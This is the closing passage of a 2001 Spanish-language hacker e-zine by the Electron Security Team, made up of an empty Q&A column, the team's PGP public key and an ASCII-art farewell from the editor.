-<[ 20 ]>-
`°ñø,¸,øñ°


|================================================================================|
| Autor | Electron Team | |
|=========== ======================== Seccion en construccion... |
| Titulo | Intentando dar una | Debido a k las preguntas que nos han |
| | Respuesta | enviado son muy pocas hemos desidido no |
|=========== ======================== incluirlas, al menos no hasta k haya una |
| Correo | est@electron-team.com | cantidad considerable... ahora bien les |
|=========== ======================== recuerdo a aquellos k no tienen idea de |
| Comentario| Preguntas?no ahy dudas¿| que se trata esta seccion leerse el numero|
|=========== ======================== anterior, asik ya saben... |
| Contenido | .,-`^´-,. . .,-`^´-,. | |
|=========== ======================== ===========================================|







,øñ°`´°ñø¸
-<[ 21 ]>-
`°ñø,¸,øñ°


Autor : Electron Team
Titulo : Llaves PGP


|=================|============================|
| Electron Team | electron_team@usa.net |
|=================|============================|

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGPfreeware 6.5.3 for non-commercial use <http://www.pgp.com>

mQGiBDnnkZkRBAD+bxLUqUJ37qZ0soka4PlRHNdE2buyi7Ro+D9ICeRiYuUihN1V
gmoZzOo9HtP7rYJLy6q8lmu4EDeSNMhbkKFYzZhZg4QiRcQoSA4pz8s+sC0FnYQ8
R6zf6Jqj8QxfopHMp0n4Kry+Ici/Gnq4J0BBSKJeyyH5Cl57FJaR4LW+PwCg/6lf
5NGJ9GX/E0cmy1i5uGpicjsEAMqjXjz1dKa57NED1fwr7s8HKnJ27+NbWgJGapAd
Il5PaebKK5EKenWvAqeIpPxIGMSB06qH2RJ/Y+5r5F1kQvOtJ5RIEXInXuVwzmMe
/d6cNJe2OzCwQBt47uD/anCWJrjB6FZaf6kTMijw33uCf/PdFQ07m1gMr1wzZSqK
3zFDBAC1L0tzii9Euu0ASNfEBzXCDloKvQ4jQU7DVTDrAxlJzxFou8704q433qTm
ZG2dzw9SpS21dVJUSwqk3FNsrpRxquJGuSqpfdjmVEI1RhzcmoS3Q+uFWHKAocg7
40xCcXhoqCGS4kOAH1ARk/PpL+qtp5+qfMvh50ln2N47uqcoabQuRUxFQ1RST04g
U0VDVVJJVFkgVEVBTSA8ZWxlY3Ryb25fdGVhbUB1c2EubmV0PokATgQQEQIADgUC
OeeRmQQLAwIBAhkBAAoJEGk4I0e2n5KRPJMAoJrhFiTJDpNMzmkPlR4KMj02AgWU
AJ48CzIWkiD0g4bk7y+cKx+WAKS4ubkDDQQ555GZEAwAzB13VyQ4SuLE8OiOE2eX
TpITYfbb6yUOF/32mPfIfHmwch04dfv2wXPEgxEmK0Ngw+Po1gr9oSgmC66prrNl
D6IAUwGgfNaroxIe+g8qzh90hE/K8xfzpEDp19J3tkItAjbBJstoXp18mAkKjX4t
7eRdefXUkk+bGI78KqdLfDL2Qle3CH8IF3KiutapQvMF6PlTETlPtvFuuUs4INoB
p1ajFOmPQFXz0AfGy0OplK33TGSGSfgMg71l6RfUodNQ+PVZX9x2Uk89PY3bzpnh
V5JZzf24rnRPxfx2vIPFRzBhznzJZv8V+bv9kV7HAarTW56NoKVyOtQa8L9GAFgr
5fSI/VhOSdvNILSd5JEHNmszbDgNRR0PfIizHHxbLY7288kjwEPwpVsYjY67VYy4
XTjTNP18F1dDox0YbN4zISy1Kv884bEpQBgRjXyEpwpy1obEAxnIByl6ypUM2Zaf
q9AKUJsCRtMIPWakXUGfnHy9iUsiGSa6q6Jew1XpTDJvAAICC/9/ujZptoiBKlmy
5O8J7YotOrb8Jc71+RzTeH27fdkmk2Yqb9RAzOOF2nYg8CibZGKKYDiOTUjaIUXL
EcvNwNen2rDRqySvxkIyGzc9l3M/WN1RbFUOSeQTQqwJvPnYoJzpZ4669jPzNL+O
FOJ9AL2JO7gZQ14b9FMYuWisVHKTXibALYH1V/yVhv2m7Ahj+XC/mG2SRFNh51eP
z6rXtU+sPRDcPs+kyd5iaRF++7Lv1BmfuQKgUkReALEZzWLExs2/Pu4N/gdKytfl
V/ZolS/RJ0h3S1gZWR7J0LEiu+78ZUuimGiQL8MYIxZogQI8Zqq0/qcGLbWc3zhV
f5lmfRBPLzxOaQthax+0UBFspkIsr7EV6OAine79Sr12O3d6n0ynPL+EMw07TF2u
rsQ7co3F6N8fWp+jIB6OaqpVrfZp/oUpWjCFVqD4ruFypmkxFJsdqR9ZtI/DEk/N
Lh9g2LW5LsQ5DVBx9Ui04UCHDgp3eXPxCn1TCXFiiP8kjlPhWJeJAEYEGBECAAYF
AjnnkZkACgkQaTgjR7afkpHPIACg1PSqYh+N8JehaXHuOj4c53tPkz0AoPEWY0fb
HYNOf5nilD2y56kzTDh4
=5sUo
-----END PGP PUBLIC KEY BLOCK-----






,øñ°`´°ñø¸
-<[ 22 ]>-
`°ñø,¸,øñ°

Autor : El Editor
Titulo : Despedida y Comentario Final


øñº´ñ°`°ñø¸¸,øñ°`´°ñø¸¸,øñ°`°ñø¸¸,øñ°`°ñø¸¸,øñ°`°ñø¸¸,øñ°`°ñø¸¸,øñ°``°ñø¸,øñ°`°ñø
øñº´ñ°`°ñø¸¸,øñ°`´°ñø¸ °ñø¸¸,øñ°``°ñø¸,øñ°`°ñø
øñº´ °ñø¸ °ñø¸ `°ñø
øñº´ °ñø¸ .$2*EST*z$. °ñø¸ `°ñø
øñº´ °ñø¸ x*#"~```"!Rn·$ °ñø¸ `°ñø
øñº´ ELECTRON °ñø¸ z!~ ~@! °ñø¸ ELECTRON `°ñø
øñº´ °ñø¸ xZ~ `Eo °ñø¸ `°ñø
øñº´ SECURITY °ñø¸ $? ^%$%·ç·#~~·^]ç*`$ °ñø¸ SECURITY `°ñø
øñº´ °ñø¸ $EL"··$·$%2~$~€P*:$¸ °ñø¸ `°ñø
øñº´ TEAM °ñø¸ ?B °ñø¸ TEAM `°ñø
øñº´ °ñø¸ `?2L °ñø¸ `°ñø
øñº´ °ñø¸ `#$m.......u@#~ °ñø¸ `°ñø
øñº´ °ñø¸ ~2#tW2W$*"
` °ñø¸ `°ñø
øñº´ñ°`°ñø¸¸,øñ°`´°ñø¸ °ñø¸¸,øñ°``°ñø¸,øñ°`°ñø
øñº´ñ°`°ñø¸¸,øñ°`´°ñø¸¸,øñ°`°ñø¸¸,øñ°`°ñø¸¸,øñ°`°ñø¸¸,øñ°`°ñø¸¸,øñ°``°ñø¸,øñ°`°ñø
øñº´ `°ñø
øñº´ Nuestra tercera entrega llega a su final, esperamos que la `°ñø
øñº´ revista sea de gran utilidad para sus estudios y para su `°ñø
øñº´ aprendisaje.Mandamos fuerza y apoyo a 350cc (FYE) por todo `°ñø
øñº´ todo lo que estan pasando... esperamos verlos a todos `°ñø
øñº´ nuevamente reunidos y ya con su 5º entrega en nuestros HD `°ñø
øñº´ Eso seria todo señores! chao a todos! `°ñø
øñº´ -[ EST ]- `°ñø
øñº´ `°ñø
øñº´ñ°`°ñø¸¸,øñ°`´°ñø¸¸,øñ°`°ñø¸¸,| 07/03/01 |°`°ñø¸¸,øñ°`°ñø¸¸,øñ°``°ñø¸,øñ°`°ñø

← previous
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT